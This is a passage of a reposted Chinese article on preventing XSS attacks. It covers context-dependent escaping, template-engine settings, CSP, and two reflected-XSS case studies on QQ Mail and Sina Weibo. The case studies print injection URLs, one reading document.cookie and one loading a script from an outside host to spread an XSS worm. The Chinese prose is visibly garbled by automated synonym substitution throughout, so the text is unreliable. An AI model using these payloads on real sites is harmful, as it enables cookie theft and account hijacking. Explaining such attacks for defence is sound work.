加入收藏 | 设为首页 | 会员中心 | 我要投稿 湖南网 (https://www.hunanwang.cn/)- 科技、建站、经验、云计算、5G、大数据,站长网!
当前位置: 首页 > 业界 > 正文

前端安全系列:如何防止XSS攻击?

发布时间:2018-10-23 10:30:01 所属栏目:业界 来源:佚名
导读:【新产物上线啦】51CTO播客,随时随地,碎片化进修 前端安详 跟着互联网的高速成长,信息安详题目已经成为企业最为存眷的核心之一,而前端又是激发企业安详题目的高危据点。在移动互联网期间,前端职员除了传统的 XSS、CSRF 等安详题目之外,又时常遭遇收集

2. 全部要插入到页面上的数据,都要通过一个敏感字符过滤函数的转义,过滤掉通用的敏感字符后,就可以插入到页面中。

不正确。

差异的上下文,如 HTML 属性、HTML 笔墨内容、HTML 注释、跳转链接、内联 JavaScript 字符串、内联 CSS 样式表等,所必要的转义法则纷歧致。

营业 RD 必要选取吻合的转义库,并针对差异的上下文挪用差异的转义法则。

整体的 XSS 防御长短常伟大和繁琐的,我们不只必要在所有必要转义的位置,对数据举办对应的转义。并且要防备多余和错误的转义,停止正常的用户输入呈现乱码。

固然很难通过技妙本领完全停止 XSS,但我们可以总结以下原则镌汰裂痕的发生:

  •  操作模板引擎

    开启模板引擎自带的 HTML 转义成果。譬喻:

    在 ejs 中,只管行使 <%= data %> 而不是 <%- data %>;

    在 doT.js 中,只管行使 {{! data } 而不是 {{= data };

    在 FreeMarker 中,确保引擎版本高于 2.3.24,而且选择正确的 freemarker.core.OutputFormat。

  •  停止内联变乱

    只管不要行使 onLoad="onload('{{data}}')"、onClick="go('{{action}}')" 这种拼接内联变乱的写法。在 JavaScript 中通过 .addEventlistener() 变乱绑定会更安详。

  •  停止拼接 HTML

    前端回收拼接 HTML 的要领较量伤害,假如框架应承,行使 createElement、setAttribute 之类的要领实现。可能回收较量成熟的渲染框架,如 Vue/React 等。

  •  时候保持鉴戒

    在插入位置为 DOM 属性、链接等位置时,要打起精力,严加防御。

  •  增进进攻难度,低落进攻效果

    通过 CSP、输入长度设置、接口安详法子等要领,增进进攻的难度,低落进攻的效果。

  •  主动检测和发明

    可行使 XSS 进攻字符串和自动扫描器材探求隐藏的 XSS 裂痕。

XSS 进攻案例

QQ 邮箱 m.exmail.qq.com 域名反射型 XSS 裂痕

进攻者发明 http://m.exmail.qq.com/cgi-bin/login?uin=aaaa&domain=bbbb 这个 URL 的参数 uin、domain 未经转义直接输出到 HTML 中。

于是进攻者构建出一个 URL,并引导用户去点击:

http://m.exmail.qq.com/cgi-bin/login?uin=aaaa&domain=bbbb%26quot%3B%3Breturn+false%3B%26quot%3B%26lt%3B%2Fscript%26gt%3B%26lt%3Bscript%26gt%3Balert(document.cookie)%26lt%3B%2Fscript%26gt%3B

用户点击这个 URL 时,处事端取出 URL 参数,拼接到 HTML 相应中:

  1. <script> 
  2.  
  3. getTop().location.href="/cgi-bin/loginpage?autologin=n&errtype=1&verify=&clientuin=aaa"+"&t="+"&d=bbbb";return false;</script><script>alert(document.cookie)</script>"+"...  

赏识器吸取到相应后就会执行 alert(document.cookie),进攻者通过 JavaScript 即可窃取当前用户在 QQ 邮箱域名下的 Cookie ,进而危害数据安详。

新浪微博绅士堂反射型 XSS 裂痕

进攻者发明 http://weibo.com/pub/star/g/xyyyd 这个 URL 的内容未颠末滤直接输出到 HTML 中。

于是进攻者构建出一个 URL,然后诱导用户去点击:

http://weibo.com/pub/star/g/xyyyd"><script src=//xxxx.cn/image/t.js></script>

用户点击这个 URL 时,处事端取出哀求 URL,拼接到 HTML 相应中:

  1. <li><a href="http://weibo.com/pub/star/g/xyyyd"><script src=//xxxx.cn/image/t.js></script>">按分类检索</a></li> 

赏识器吸取到相应后就会加载执行恶意剧本 //xxxx.cn/image/t.js,在恶意剧本中操浸染户的登录状态举办存眷、发微博、发私信等操纵,发出的微博和私信可再带上进攻 URL,诱导更多人点击,不绝放大进攻范畴。这种窃用受害者身份宣布恶意内容,层层放大进攻范畴的方法,被称为“XSS 蠕虫”。

扩展阅读:Automatic Context-Aware Escaping

上文我们说到:

  1.  吻合的 HTML 转义可以有用停止 XSS 裂痕。
  2.  完美的转义库必要针对上下文拟定多种法则,譬喻 HTML 属性、HTML 笔墨内容、HTML 注释、跳转链接、内联 JavaScript 字符串、内联 CSS 样式表等等。
  3.  营业 RD 必要按照每个插入点所处的上下文,选取差异的转义法则。

凡是,转义库是不能判定插入点上下文的(Not Context-Aware),实验转义法则的责任就落到了营业 RD 身上,必要每个营业 RD 都充实领略 XSS 的各类环境,而且必要担保每一个插入点行使了正确的转义法则。

这种机制事变量大,端赖人工担保,很轻易造成 XSS 裂痕,安详职员也很难发明隐患。

2009年,Google 提出了一个观念叫做:Automatic Context-Aware Escaping。

(编辑:湖南网)

【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容!

热点阅读